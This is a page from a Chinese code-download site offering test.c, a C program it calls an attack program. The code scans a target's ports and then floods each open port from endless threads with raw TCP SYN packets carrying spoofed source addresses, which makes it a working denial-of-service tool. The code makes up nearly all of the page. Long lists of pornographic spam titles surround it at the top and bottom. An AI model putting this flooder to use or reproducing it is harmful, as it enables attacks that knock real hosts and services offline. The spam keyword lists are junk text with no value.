亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? test.c

?? 攻擊程序,linux下passgcc -o test test.c
?? C
字號:
/*--------------------------------------------------------------* * Name: tcplib.c                                               * * Desc: inlcude tcp client routings                            * *                                     By M.J.W. May 20, 1998   * *--------------------------------------------------------------*/#include "test.h"#include <sys/socket.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/tcp.h>#include <stdlib.h>#include <errno.h> #include <unistd.h>#include <stdio.h>#include <netdb.h>#define DESTPORT 80#define LOCALPORT 8888#define PckHeadLen    4extern  char          sTmpBuff[MaxCommBuff];typedef struct{	char *ip;	int port;}ipport;/*--------------------------------------------------------------* * Name: sendPacket                                             * * Desc: send a packet to remote process(upper_comu),the func   * *       return immediately whether send sucessful              * * Inpt: sItem: the packet to send                              * *       nLen:  the length of the packet to send                * *       nSockFd:the file hand of socket                        * * Ret:  if send success,return 0                               * *       if system error,return -1;                             * *--------------------------------------------------------------*/int sendPacket(int nSockFd,char sItem[],int nLen){    char sTmpPck[MaxCommBuff] = {0x00};    unsigned int  tLen;    tLen = htonl(nLen+PckHeadLen);    memcpy( sTmpPck, &tLen, PckHeadLen);    memcpy( sTmpPck+PckHeadLen, sItem, nLen);    if(write(nSockFd,sTmpPck,(nLen+PckHeadLen) )!=(nLen+PckHeadLen) )       return -1;    return 0;}/*--------------------------------------------------------------* * Name: recvPacket                                             * * Desc: read a packet from socket-connected line               * * Inpt: s_nLineFd: line file description                       * *       sItem:  object string                                  * *       nLen : the length of the item received                 * * Ret:  if sucesss, return length of (s) read.                 * *       else return -1;                                        * *--------------------------------------------------------------*/int recvPacket(int s_nLineFd,char sItem[],int *nLen){    char sPckHead[PckHeadLen+1];    int  nRet=0;       if( (nRet = read(s_nLineFd,&sPckHead[0],PckHeadLen)) !=PckHeadLen )    {        return (nRet==0 ? 0 : -1 );    }    sPckHead[PckHeadLen] = '\0';    *nLen = atoi(sPckHead);    if( (nRet=read(s_nLineFd,sItem,*nLen)) != *nLen)    {        return -1;    }    sItem[*nLen]='\0';    return 1;}/*--------------------------------------------------------------* * Name: exitConnection                                         * * Desc: used in client. exit the socket connect                * * Inpt: the socket file hand in client program                 * *--------------------------------------------------------------*/void exitConnection(int nSockFd){    if(nSockFd > 0 )        close(nSockFd);}/*--------------------------------------------------------------* * Name: initConnection                                         * * Desc: client creat a connection between server program and   * *       client         program.                                * * Inpt: *nSockFd: the client socket file identifier            * *         nTcpKey:  Server key point                           * *         sHostAddr: the server's IP address                   * *--------------------------------------------------------------*/int  initConnection(int *nSockFd,int nTcpKey,char *sHostAddr,     int nMode){    struct sockaddr_in    rServAddr;    int  args;    /*     *fill in the strcture "rServAddr"     */    *nSockFd=-1;    bzero((char *)&rServAddr,sizeof(rServAddr));    rServAddr.sin_family=AF_INET;    rServAddr.sin_addr.s_addr=inet_addr(sHostAddr);    rServAddr.sin_port=htons(nTcpKey);    /*     * Open a TCP socket (an Internet stream socket()     */    if( ((*nSockFd)=socket(AF_INET,SOCK_STREAM,6))<0){        return -1;    }    if(connect((*nSockFd),(struct sockaddr *)&rServAddr,sizeof(rServAddr))<0)    {        close(*nSockFd);        return -1;    }    if ( nMode == 1 )    {       args=fcntl(*nSockFd,F_GETFL,&args);       fcntl(*nSockFd,F_SETFL,args|O_NDELAY);    }    return 1;}void send_tcp(int sockfd,struct sockaddr_in *addr) {	char buffer[1000]; /**/ 	struct ip *ip; 	struct tcphdr *tcp; 	int head_len,i; 	/**/ 	head_len=sizeof(struct ip)+sizeof(struct tcphdr); 	bzero(buffer,1000);	/**/	ip=(struct ip *)buffer;	ip->ip_v=IPVERSION; /**/ 	ip->ip_hl=sizeof(struct ip)>>2; /**/ 	ip->ip_tos=0; /**/ 	ip->ip_len=htons(head_len); /**/ 	ip->ip_id=0; /**/ 	ip->ip_off=0; /**/ 	ip->ip_ttl=MAXTTL; /**/ 	ip->ip_p=IPPROTO_TCP; /**/ 	ip->ip_sum=0; /**/ 	ip->ip_dst=addr->sin_addr; /**/ 	/**/ 	tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); 	tcp->source=htons(LOCALPORT); 	tcp->dest=addr->sin_port; /**/ 	tcp->seq=random(); 	tcp->ack_seq=0; 	tcp->doff=5; 	tcp->syn=1; /**/ 	tcp->check=0; 	/**/ 	while(1) 	{ 		/**/ 		ip->ip_src.s_addr=random();  		/**/ 		tcp->check=check_sum((unsigned short *)tcp, 		sizeof(struct tcphdr)); 		int result=sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));		//printf("%d\n",result);	       //printf("%s:%d\n",inet_ntoa(addr->sin_addr),ntohs(addr->sin_port));		} } /**/ unsigned short check_sum(unsigned short *addr,int len) { 	register int nleft=len; 	register int sum=0; 	register short *w=addr; 	short answer=0; 	while(nleft>1) 	{ 		sum+=*w++; 		nleft-=2; 	}		if(nleft==1) 	{ 		*(unsigned char *)(&answer)=*(unsigned char *)w; 		sum+=answer; 	} 	sum=(sum>>16)+(sum&0xffff); 	sum+=(sum>>16); 	answer=~sum; 	return(answer); } int thread(void *arg) { 	int sockfd;        int on=1;		ipport *test=(ipport *)arg;	struct sockaddr_in addr; 	struct hostent *host;	bzero(&addr,sizeof(struct sockaddr_in)); 	addr.sin_family=AF_INET; 	addr.sin_port=htons(test->port); 	if(inet_aton(test->ip,&addr.sin_addr)==0) 	{ 		host=gethostbyname(test->ip); 		if(host==NULL) 		{	 			fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); 			exit(1); 		}	 		addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); 	} 	/**/ 	sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);	if(sockfd<0) 	{ 		fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); 		exit(1); 	} 	/**/ 	setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); 	/**/ 	setuid(getpid()); 	/**/ 	printf("A thread made:Bombing to %s:%d.\n",inet_ntoa(addr.sin_addr),ntohs(addr.sin_port));	send_tcp(sockfd,&addr);} void Makethread(char * sip){	pthread_t id;	ipport test;	int i=0;	int nRet,ret;	int nSocket;	while (i<99999)	{		nRet=initConnection(&nSocket,i,sip,0);		if (nRet>=0)		{				bzero(&test,sizeof(ipport));			test.ip=sip;			test.port=i;			sleep(1);			ret=pthread_create(&id,NULL,(void *)thread,(void *)&test);			if(ret!=0)			{				printf("Create port:%d failed.\n",i);				continue;			}		}		//printf("test port i:%d\n",i);		i++;		exitConnection(nSocket);	}}int main(int argc,char**argv){	if(argc!=2)	{		printf("Lost Host_ip.\n");		exit(1);	}	printf("Scan port for make thread to bomb,please wait.\n");	Makethread(argv[1]);	printf("All threads have been made!\n");	sleep(1000);}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日本怡春院一区二区| 亚洲美女精品一区| 亚洲黄色小说网站| 久久国产综合精品| 欧美无砖专区一中文字| 日本一区二区三区四区在线视频| 视频一区视频二区在线观看| heyzo一本久久综合| 欧美变态tickle挠乳网站| 一区二区不卡在线视频 午夜欧美不卡在| 激情综合网最新| 欧美另类一区二区三区| 亚洲少妇中出一区| 成人动漫一区二区在线| 欧美精品一区视频| 日本午夜一本久久久综合| 91精彩视频在线观看| 国产三区在线成人av| 精彩视频一区二区三区| 欧美一区二区三区免费视频 | 亚洲色图一区二区| 丰满岳乱妇一区二区三区| 精品av久久707| 日本伊人色综合网| 制服丝袜亚洲播放| 亚洲福利视频一区二区| 欧美主播一区二区三区| 亚洲麻豆国产自偷在线| 成人av电影在线| 欧美国产禁国产网站cc| 国产激情一区二区三区四区| 精品伦理精品一区| 激情丁香综合五月| 久久嫩草精品久久久精品| 免费精品视频最新在线| 日韩美女天天操| 久久成人18免费观看| 精品久久一区二区三区| 国产主播一区二区| 亚洲国产精品t66y| 91色porny蝌蚪| 亚洲欧美日本韩国| 欧美性大战xxxxx久久久| 午夜精品一区在线观看| 3d成人h动漫网站入口| 麻豆精品视频在线观看免费 | 国产精品影视在线| 国产欧美一区二区精品仙草咪| 国产成人av一区二区三区在线观看| 国产亲近乱来精品视频| 91小宝寻花一区二区三区| 一区二区高清视频在线观看| 7777精品伊人久久久大香线蕉完整版| 日产精品久久久久久久性色| 精品少妇一区二区三区在线播放| 国产精一区二区三区| 亚洲视频一区在线观看| 欧美精品免费视频| 国产精品1区二区.| 亚洲一级片在线观看| 日韩精品一区二区三区老鸭窝| 国产经典欧美精品| 亚洲一区二区免费视频| 精品日韩欧美一区二区| 色诱亚洲精品久久久久久| 日韩高清国产一区在线| 国产欧美一二三区| 欧美日韩国产精品成人| 粉嫩av一区二区三区在线播放 | 久久久久久亚洲综合| 色94色欧美sute亚洲线路一久 | 亚洲妇熟xx妇色黄| 久久女同性恋中文字幕| 在线免费观看一区| 国产精品伊人色| 婷婷久久综合九色综合绿巨人| 中文无字幕一区二区三区| 欧美在线啊v一区| 国产精品一区在线观看你懂的| 亚洲一区在线观看网站| 国产亚洲欧美日韩俺去了| 欧美性生活久久| 国产精品亚洲一区二区三区妖精| 亚洲成a人v欧美综合天堂| 国产精品久久久久久久久晋中| 日韩一区二区三区高清免费看看| 99re热这里只有精品视频| 国内外成人在线| 天天色综合成人网| 一区二区三区在线免费| 国产精品久久久久永久免费观看| 日韩亚洲欧美中文三级| 99re视频这里只有精品| 国产.欧美.日韩| 久久电影网电视剧免费观看| 亚洲第四色夜色| 亚洲精品videosex极品| 亚洲欧洲另类国产综合| 久久久久国产精品麻豆ai换脸| 欧美精品在欧美一区二区少妇| 一本高清dvd不卡在线观看| 91亚洲午夜精品久久久久久| 国产老肥熟一区二区三区| 久久国产成人午夜av影院| 日日嗨av一区二区三区四区| 亚洲电影在线播放| 伊人色综合久久天天| 亚洲品质自拍视频| 日韩理论电影院| 国产精品盗摄一区二区三区| 亚洲国产精品成人综合色在线婷婷| 久久久另类综合| 久久亚洲一区二区三区四区| 日韩免费一区二区| 精品欧美一区二区三区精品久久| 欧美一卡2卡三卡4卡5免费| 欧美日本一区二区| 欧美剧情片在线观看| 91精品久久久久久久99蜜桃| 欧美军同video69gay| 日韩亚洲欧美高清| 久久在线免费观看| 国产亚洲人成网站| 亚洲欧洲在线观看av| 1000精品久久久久久久久| 综合久久一区二区三区| 亚洲精品亚洲人成人网| 亚洲一区二区三区激情| 日韩精品欧美精品| 精品系列免费在线观看| 成人永久免费视频| 色哟哟精品一区| 欧美另类一区二区三区| 精品国产乱码久久久久久闺蜜| 精品国产伦一区二区三区免费| 国产无人区一区二区三区| 亚洲理论在线观看| 视频在线观看91| 国产福利精品一区二区| 91污在线观看| 正在播放亚洲一区| 久久久久久久久久久久久久久99 | 色88888久久久久久影院按摩| 91久久线看在观草草青青| 欧美日韩精品免费观看视频| 久久综合色8888| 亚洲欧美另类综合偷拍| 麻豆精品国产91久久久久久| 成人的网站免费观看| 在线播放日韩导航| 久久久国产精品不卡| 亚洲一区中文日韩| 韩国精品在线观看| 色妹子一区二区| 日韩欧美在线网站| 夜夜嗨av一区二区三区四季av | 美女一区二区久久| 91丨porny丨户外露出| 91精品国产色综合久久久蜜香臀| 久久人人超碰精品| 亚洲444eee在线观看| 成人av在线播放网站| 欧美一区二区三区日韩视频| |精品福利一区二区三区| 奇米亚洲午夜久久精品| 色偷偷成人一区二区三区91| 欧美精品一区二区不卡| 亚洲一区二区在线播放相泽| 成人av在线观| 精品国产免费一区二区三区四区 | 亚洲欧美日韩精品久久久久| 国产精品综合在线视频| 欧美一级专区免费大片| 亚洲综合图片区| 丁香激情综合国产| 欧美成人a∨高清免费观看| 亚洲在线观看免费视频| 97国产精品videossex| 中文字幕乱码一区二区免费| 久久精品国产亚洲一区二区三区| 色综合 综合色| 国产精品人成在线观看免费| 国产一区二区精品久久99| 91精品国产乱| 亚洲另类一区二区| 色悠悠久久综合| 亚洲欧美自拍偷拍色图| 成人免费av网站| 久久精品视频在线免费观看| 精品中文av资源站在线观看| 欧美日韩一区小说| 亚洲一区在线观看免费| 日本精品视频一区二区三区| 亚洲欧美乱综合| 色婷婷香蕉在线一区二区| 亚洲三级电影全部在线观看高清| 99精品在线观看视频| 中文乱码免费一区二区| 91视频观看视频| 亚洲免费资源在线播放|